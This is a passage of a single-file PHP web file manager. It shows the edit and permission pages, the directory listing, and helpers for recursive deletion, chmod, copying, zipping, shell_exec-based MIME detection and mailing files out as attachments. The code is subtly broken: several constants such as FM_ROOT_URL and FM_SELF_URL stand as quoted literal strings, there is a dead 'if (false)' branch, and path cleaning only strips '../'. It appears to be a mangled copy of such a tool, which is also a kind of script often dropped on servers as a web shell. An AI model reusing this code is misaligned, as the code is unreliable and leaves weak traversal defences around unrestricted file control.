$is_text = false;
$content = '';
// for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="edit-file-actions">
<a title="<?php
echo fm_t('Cancel', $lang);
?>" href="?p=<?php
echo urlencode(trim(FM_PATH));
?>&view=<?php
echo urlencode($file);
?>"><i class="fa fa-reply-all"></i> <?php
echo fm_t('Cancel', $lang);
?></a>
<a title="<?php
echo fm_t('Backup', $lang);
?>" href="javascript:backup('<?php
echo urlencode($path);
?>','<?php
echo urlencode($file);
?>')"><i class="fa fa-database"></i> <?php
echo fm_t('Backup', $lang);
?></a>
<?php
if ($is_text) {
?>
<?php
if ($isNormalEditor) {
?>
<a title="<?php
echo fm_t('Advanced', $lang);
?>" href="?p=<?php
echo urlencode(trim(FM_PATH));
?>&edit=<?php
echo urlencode($file);
?>&env=ace"><i class="fa fa-paper-plane"></i> <?php
echo fm_t('Advanced Editor', $lang);
?></a>
<button type="button" name="<?php
echo fm_t('Save', $lang);
?>" data-url="<?php
echo $file_url;
?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> <?php
echo fm_t('Save', $lang);
?></button>
<?php
} else {
?>
<a title="<?php
echo fm_t('Plain Editor', $lang);
?>" href="?p=<?php
echo urlencode(trim(FM_PATH));
?>&edit=<?php
echo urlencode($file);
?>"><i class="fa fa-text-height"></i> <?php
echo fm_t('Plain Editor', $lang);
?></a>
<button type="button" name="Save" data-url="<?php
echo $file_url;
?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php
echo fm_t('Save', $lang);
?></button>
<?php
}
?>
<?php
}
?>
</div>
<?php
if ($is_text && $isNormalEditor) {
echo '<textarea id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(fm_t('FILE EXTENSION HAS NOT SUPPORTED', $lang), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) && !is_dir($path . '/' . $file)) {
fm_set_msg('File not found', 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
$file_url = "FM_ROOT_URL/FM_PATH/" . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<p><b><?php
echo fm_t('Change Permissions', $lang);
?></b></p>
<p>
<?php
echo fm_t('Full path:', $lang);
?> <?php
echo $file_path;
?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php
echo fm_enc(FM_PATH);
?>">
<input type="hidden" name="chmod" value="<?php
echo fm_enc($file);
?>">
<table class="compact-table">
<tr>
<td></td>
<td><b><?php
echo fm_t('Owner', $lang);
?></b></td>
<td><b><?php
echo fm_t('Group', $lang);
?></b></td>
<td><b><?php
echo fm_t('Other', $lang);
?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php
echo fm_t('Read', $lang);
?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php
echo $mode & 0400 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php
echo $mode & 040 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php
echo $mode & 04 ? ' checked' : '';
?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php
echo fm_t('Write', $lang);
?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php
echo $mode & 0200 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php
echo $mode & 020 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php
echo $mode & 02 ? ' checked' : '';
?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php
echo fm_t('Execute', $lang);
?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php
echo $mode & 0100 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php
echo $mode & 010 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php
echo $mode & 01 ? ' checked' : '';
?>></label></td>
</tr>
</table>
<p>
<button type="submit" class="btn"><i class="fa fa-check-circle"></i> <?php
echo fm_t('Change', $lang);
?></button>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>"><i class="fa fa-times-circle"></i> <?php
echo fm_t('Cancel', $lang);
?></a></b>
</p>
</form>
</div>
<?php
fm_show_footer();
exit;
}
//--- FILEMANAGER MAIN
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
// messages
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
?>
<form action="" method="post">
<input type="hidden" name="p" value="<?php
echo fm_enc(FM_PATH);
?>">
<input type="hidden" name="group" value="1">
<table class="table"><thead><tr>
<?php
if (!FM_READONLY) {
?><th style="width:3%"><label><input type="checkbox" title="<?php
echo fm_t('Invert selection', $lang);
?>" onclick="checkbox_toggle()"></label></th><?php
}
?>
<th><?php
echo fm_t('Name', $lang);
?></th><th style="width:10%"><?php
echo fm_t('Size', $lang);
?></th>
<th style="width:12%"><?php
echo fm_t('Modified', $lang);
?></th>
<?php
if (!FM_IS_WIN) {
?><th style="width:6%"><?php
echo fm_t('Perms', $lang);
?></th><th style="width:10%"><?php
echo fm_t('Owner', $lang);
?></th><?php
}
?>
<th style="width:<?php
if (!FM_READONLY) {
?>13<?php
} else {
?>6.5<?php
}
?>%"><?php
echo fm_t('Actions', $lang);
?></th></tr></thead>
<?php
// link to parent folder
if ($parent !== false) {
?>
<tr><?php
if (!FM_READONLY) {
?><td></td><?php
}
?><td colspan="<?php
echo !FM_IS_WIN ? '6' : '4';
?>"><a href="?p=<?php
echo urlencode($parent);
?>"><i class="fa fa-chevron-circle-left"></i> ..</a></td></tr>
<?php
}
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'icon-folder';
$modif = date(FM_DATETIME_FORMAT, filemtime($path . '/' . $f));
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php
if (!FM_READONLY) {
?><td><label><input type="checkbox" name="file[]" value="<?php
echo fm_enc($f);
?>"></label></td><?php
}
?>
<td><div class="filename"><a href="?p=<?php
echo urlencode(trim("FM_PATH/" . $f, '/'));
?>"><i class="<?php
echo $img;
?>"></i> <?php
echo fm_convert_win($f);
?></a><?php
echo $is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '';
?></div></td>
<td><?php
echo fm_t('Folder', $lang);
?></td><td><?php
echo $modif;
?></td>
<?php
if (!FM_IS_WIN) {
?>
<td><?php
if (!FM_READONLY) {
?><a title="<?php
echo fm_t('Change Permissions', $lang);
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&chmod=<?php
echo urlencode($f);
?>"><?php
echo $perms;
?></a><?php
} else {
echo $perms;
}
?></td>
<td><?php
echo $owner['name'] . ':' . $group['name'];
?></td>
<?php
}
?>
<td class="inline-actions"><?php
if (!FM_READONLY) {
?>
<a title="<?php
echo fm_t('Delete', $lang);
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&del=<?php
echo urlencode($f);
?>" onclick="return confirm('<?php
echo fm_t('Delete folder?');
?>');"><i class="fa fa-trash-o" style="background:#FF4136" aria-hidden="true"></i></a>
<a title="<?php
echo fm_t('Rename', $lang);
?>" href="#" onclick="rename('<?php
echo fm_enc(FM_PATH);
?>', '<?php
echo fm_enc($f);
?>');return false;"><i class="fa fa-pencil-square-o" style="background:#FF851B" aria-hidden="true"></i></a>
<a title="<?php
echo fm_t('Copy to...');
?>" href="?p=&copy=<?php
echo urlencode(trim("FM_PATH/" . $f, '/'));
?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php
}
?>
<a title="<?php
echo fm_t('Direct link', $lang);
?>" href="<?php
echo "FM_ROOT_URL/FM_PATH/" . $f . '/';
?>" target="_blank"><i class="fa fa-link" style="background:#001f3f" aria-hidden="true"></i></a>
</td></tr>
<?php
flush();
}
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif = date("d.m.y H:i", filemtime($path . '/' . $f));
$filesize_raw = filesize($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php
if (!FM_READONLY) {
?><td><label><input type="checkbox" name="file[]" value="<?php
echo fm_enc($f);
?>"></label></td><?php
}
?>
<td><div class="filename"><a href="<?php
echo $filelink;
?>" title="<?php
echo fm_t('File info', $lang);
?>"><i class="<?php
echo $img;
?>"></i> <?php
echo fm_convert_win($f);
?></a><?php
echo $is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '';
?></div></td>
<td><span title="<?php
printf(fm_t('%s bytes'), $filesize_raw);
?>"><?php
echo $filesize;
?></span></td>
<td><?php
echo $modif;
?></td>
<?php
if (!FM_IS_WIN) {
?>
<td><?php
if (!FM_READONLY) {
?><a title="<?php
echo fm_t('Change Permissions', $lang);
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&chmod=<?php
echo urlencode($f);
?>"><?php
echo $perms;
?></a><?php
} else {
echo $perms;
}
?></td>
<td><?php
echo $owner['name'] . ':' . $group['name'];
?></td>
<?php
}
?>
<td class="inline-actions">
<?php
if (!FM_READONLY) {
?>
<a title="<?php
echo fm_t('Delete', $lang);
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&del=<?php
echo urlencode($f);
?>" onclick="return confirm('<?php
echo fm_t('Delete file?');
?>');"><i class="fa fa-trash-o" style="background:#FF4136"></i></a>
<a title="<?php
echo fm_t('Rename', $lang);
?>" href="#" onclick="rename('<?php
echo fm_enc(FM_PATH);
?>', '<?php
echo fm_enc($f);
?>');return false;"><i class="fa fa-pencil-square-o" style="background:#FF851B"></i></a>
<a title="<?php
echo fm_t('Copy to...');
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&copy=<?php
echo urlencode(trim("FM_PATH/" . $f, '/'));
?>"><i class="fa fa-files-o"></i></a>
<?php
}
?>
<a title="<?php
echo fm_t('Direct link', $lang);
?>" href="<?php
echo "FM_ROOT_URL/FM_PATH/" . $f;
?>" target="_blank"><i class="fa fa-link" style="background:#001f3f"></i></a>
<a title="<?php
echo fm_t('Download', $lang);
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&dl=<?php
echo urlencode($f);
?>"><i class="fa fa-download" style="background:#2ECC40"></i></a>
</td></tr>
<?php
flush();
}
if (empty($folders) && empty($files)) {
?>
<tr><?php
if (!FM_READONLY) {
?><td></td><?php
}
?><td colspan="<?php
echo !FM_IS_WIN ? '6' : '4';
?>"><em><?php
echo fm_t('Folder is empty', $lang);
?></em></td></tr>
<?php
} else {
?>
<tr><?php
if (!FM_READONLY) {
?><td class="gray"></td><?php
}
?><td class="gray" colspan="<?php
echo !FM_IS_WIN ? '6' : '4';
?>">
<?php
echo fm_t('Full size:', $lang);
?> <span title="<?php
printf(fm_t('%s bytes'), $all_files_size);
?>"><?php
echo fm_get_filesize($all_files_size);
?></span>,
<?php
echo fm_t('files:', $lang);
?> <?php
echo $num_files;
?>,
<?php
echo fm_t('folders:', $lang);
?> <?php
echo $num_folders;
?>
</td></tr>
<?php
}
?>
</table>
<?php
if (!FM_READONLY) {
?>
<p class="path footer-links"><a href="#/select-all" class="group-btn" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php
echo fm_t('Select all', $lang);
?></a>
<a href="#/unselect-all" class="group-btn" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php
echo fm_t('Unselect all', $lang);
?></a>
<a href="#/invert-all" class="group-btn" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php
echo fm_t('Invert selection', $lang);
?></a>
<input type="submit" class="hidden" name="delete" id="a-delete" value="<?php
echo fm_t('Delete', $lang);
?>" onclick="return confirm('<?php
echo fm_t('Delete selected files and folders?');
?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="group-btn"><i class="fa fa-trash"></i> <?php
echo fm_t('Delete', $lang);
?> </a>
<input type="submit" class="hidden" name="zip" id="a-zip" value="<?php
echo fm_t('Zip', $lang);
?>" onclick="return confirm('<?php
echo fm_t('Create archive?');
?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="group-btn"><i class="fa fa-file-archive-o"></i> <?php
echo fm_t('Zip', $lang);
?> </a>
<input type="submit" class="hidden" name="copy" id="a-copy" value="<?php
echo fm_t('Copy', $lang);
?>">
<a href="javascript:document.getElementById('a-copy').click();" class="group-btn"><i class="fa fa-files-o"></i> <?php
echo fm_t('Copy', $lang);
?> </a>
</p>
<?php
}
?>
</form>
<?php
fm_show_footer();
//--- END
// Functions
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
/**
* Recursive chmod
* @param string $path
* @param int $filemode
* @param int $dirmode
* @return bool
* @todo Will use in mass chmod
*/
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
/**
* Safely rename
* @param string $old
* @param string $new
* @return bool|null
*/
function fm_rename($old, $new)
{
return !file_exists($new) && file_exists($old) ? rename($old, $new) : null;
}
/**
* Copy file or folder (recursively).
* @param string $path
* @param string $dest
* @param bool $upd Update files
* @param bool $force Create folder with same names instead file
* @return bool
*/
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
/**
* Safely create folder
* @param string $dir
* @param bool $force
* @return bool
*/
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
/**
* Safely copy file
* @param string $f1
* @param string $f2
* @param bool $upd
* @return bool
*/
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 && $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
/**
* Get mime type
* @param string $file_path
* @return mixed|string
*/
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return "--";
}
}
/**
* HTTP Redirect
* @param string $url
* @param int $code
*/
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
/**
* Clean path
* @param string $path
* @return string
*/
function fm_clean_path($path)
{
$path = trim($path);
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
/**
* Get parent path
* @param string $path
* @return bool|string
*/
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return "";
}
return false;
}
/**
* Get nice filesize
* @param int $size
* @return string
*/
function fm_get_filesize($size)
{
if ($size < 1000) {
return sprintf('%s B', $size);
} elseif ($size / 1024 < 1000) {
return sprintf('%s KiB', round($size / 1024, 2));
} elseif ($size / 1024 / 1024 < 1000) {
return sprintf('%s MiB', round($size / 1024 / 1024, 2));
} elseif ($size / 1024 / 1024 / 1024 < 1000) {
return sprintf('%s GiB', round($size / 1024 / 1024 / 1024, 2));
} else {
return sprintf('%s TiB', round($size / 1024 / 1024 / 1024 / 1024, 2));
}
}
/**
* Get info about zip archive
* @param string $path
* @return array|bool
*/
function fm_get_zif_info($path)
{
if (function_exists('zip_open')) {
$arch = zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = zip_read($arch)) {
$zip_name = zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array('name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder);
}
zip_close($arch);
return $filenames;
}
}
return false;
}
/**
* Encode html entities
* @param string $text
* @return string
*/
function fm_enc($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
/**
* This function scans the files folder recursively, and builds a large array
* @param string $dir
* @return json
*/
function scan($dir)
{
$files = array();
$_dir = $dir;
$dir = "FM_ROOT_PATH/" . $dir;
// Is there actually such a folder/file?
if (file_exists($dir)) {
foreach (scandir($dir) as $f) {
if (!$f || $f[0] == '.') {
continue;
}
if (is_dir($dir . '/' . $f)) {
// The path is a folder
$files[] = array("name" => $f, "type" => "folder", "path" => $_dir . '/' . $f, "items" => scan($dir . '/' . $f));
} else {
// It is a file
$files[] = array("name" => $f, "type" => "file", "path" => $_dir, "size" => filesize($dir . '/' . $f));
}
}
}
return $files;
}
/**
* Send email with file attached
* @param string $msg, $to, $p
*/
function send_mail($path, $filename, $mailto, $message)
{
$file = $path . '/' . $filename;
$content = file_get_contents($file);
$content = chunk_split(base64_encode($content));
$uid = md5(uniqid(time()));
$name = basename($file);
// header
$header = "From: File Manager Script <[email protected]>\r\n";
$header .= "Reply-To: " . $mailto . "\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"" . $uid . "\"\r\n\r\n";
// message & attachment
$subject = "File has attahced";
$nmessage = "--" . $uid . "\r\n";
$nmessage .= "Content-type:text/plain; charset=iso-8859-1\r\n";
$nmessage .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$nmessage .= $message . "\r\n\r\n";
$nmessage .= "--" . $uid . "\r\n";
$nmessage .= "Content-Type: application/octet-stream; name=\"" . $filename . "\"\r\n";
$nmessage .= "Content-Transfer-Encoding: base64\r\n";
$nmessage .= "Content-Disposition: attachment; filename=\"" . $filename . "\"\r\n\r\n";
$nmessage .= $content . "\r\n\r\n";
$nmessage .= "--" . $uid . "--";
if (mail($mailto, $subject, $nmessage, $header)) {
return true;
} else {
return false;
}
}
/**
* Save message in session
* @param string $msg
* @param string $status
*/
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION['message'] = $msg;
$_SESSION['status'] = $status;
}
/**
* Check if string is in UTF-8
* @param string $string
* @return int
*/
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
/**
* Convert file name to UTF-8 in Windows
* @param string $filename
* @return string
*/
function fm_convert_win($filename)
{
if (false) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
/**
* Get translated string
* @param string $str
* @param string|null $lang
* @return string
*/
function fm_t($str, $lang = null)
{
if ($lang === null) {
if (defined('FM_LANG')) {
$lang = FM_LANG;
} else {
return $str;
}
}
$strings = fm_get_strings();
if (!isset($strings[$lang]) || !is_array($strings[$lang])) {
return $str;
}
if (array_key_exists($str, $strings[$lang])) {
return $strings[$lang][$str];
}
return $str;
}
/**
* Get CSS classname for file
* @param string $path
* @return string
*/
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'zip':
case 'rar':
case 'gz':
case 'tar':
case '7z':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
/**
* Get image files extensions
* @return array
*/
function fm_get_image_exts()
{
return array(0 => "ico", 1 => "gif", 2 => "jpg", 3 => "jpeg", 4 => "jpc", 5 => "jp2", 6 => "jpx", 7 => "xbm", 8 => "wbmp", 9 => "png", 10 => "bmp", 11 => "tif", 12 => "tiff", 13 => "psd");
}
/**
* Get video files extensions
* @return array
*/
function fm_get_video_exts()
{
return array(0 => "webm", 1 => "mp4", 2 => "m4v", 3 => "ogm", 4 => "ogv", 5 => "mov");
}
/**
* Get audio files extensions
* @return array
*/
function fm_get_audio_exts()
{
return array(0 => "wav", 1 => "mp3", 2 => "ogg", 3 => "m4a");
}
/**
* Get text file extensions
* @return array
*/
function fm_get_text_exts()
{
return array(0 => "txt", 1 => "css", 2 => "ini", 3 => "conf", 4 => "log", 5 => "htaccess", 6 => "passwd", 7 => "ftpquota", 8 => "sql", 9 => "js", 10 => "json", 11 => "sh", 12 => "config", 13 => "php", 14 => "php4", 15 => "php5", 16 => "phps", 17 => "phtml", 18 => "htm", 19 => "html", 20 => "shtml", 21 => "xhtml", 22 => "xml", 23 => "xsl", 24 => "m3u", 25 => "m3u8", 26 => "pls", 27 => "cue", 28 => "eml", 29 => "msg", 30 => "csv", 31 => "bat", 32 => "twig", 33 => "tpl", 34 => "md", 35 => "gitignore", 36 => "less", 37 => "sass", 38 => "scss", 39 => "c", 40 => "cpp", 41 => "cs", 42 => "py", 43 => "map", 44 => "lock", 45 => "dtd", 46 => "svg");
}
/**
* Get mime types of text files
* @return array
*/
function fm_get_text_mimes()
{
return array(0 => "application/xml", 1 => "application/javascript", 2 => "application/x-javascript", 3 => "image/svg+xml", 4 => "message/rfc822");
}
/**
* Get file names of text files w/o extensions
* @return array
*/
function fm_get_text_names()
{
return array(0 => "license", 1 => "readme", 2 => "authors", 3 => "contributors", 4 => "changelog");
}
/**
* Class to work with zip files (using ZipArchive)
*/
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
//--- templates functions
/**
* Show nav block
* @param string $path
*/
function fm_show_nav_path($path)
{
global $lang;
?>
<div class="path main-nav">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='FM_ROOT_PATH'></i></a>";
$sep = '<i class="fa fa-caret-right"></i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fm_convert_win($exploded[$i]) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="break-word float-left">' . $root_url . '</div>';
?>
<div class="float-right">
<?php
if (!FM_READONLY) {
?>
<a title="<?php
echo fm_t('Search', $lang);
?>" href="javascript:showSearch('<?php
echo urlencode(FM_PATH);
?>')"><i class="fa fa-search"></i></a>
<a title="<?php
echo fm_t('Upload files', $lang);
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i></a>
<a title="<?php
echo fm_t('New folder', $lang);
?>" href="#createNewItem" ><i class="fa fa-plus-square"></i></a>
<?php
}
?>
<?php
if (FM_USE_AUTH) {
?><a title="<?php
echo fm_t('Logout', $lang);
?>" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i></a><?php
}
?>
</div>
</div>
<?php
}
/**
* Show message from session
*/
function fm_show_message()
{
if (isset($_SESSION['message'])) {
$class = isset($_SESSION['status']) ? $_SESSION['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION['message'] . '</p>';
unset($_SESSION['message']);
unset($_SESSION['status']);
}
}
/**
* Show page header
*/
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang;
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>File Manager Script</title>
<meta name="Description" CONTENT="Manage files in easy way, lightweight and no headache.">
<link rel="icon" href="<?php
echo "FM_SELF_URL";
?>?img=favicon" type="image/png">
<link rel="shortcut icon" href="<?php
echo "FM_SELF_URL";
?>?img=favicon" type="image/png">
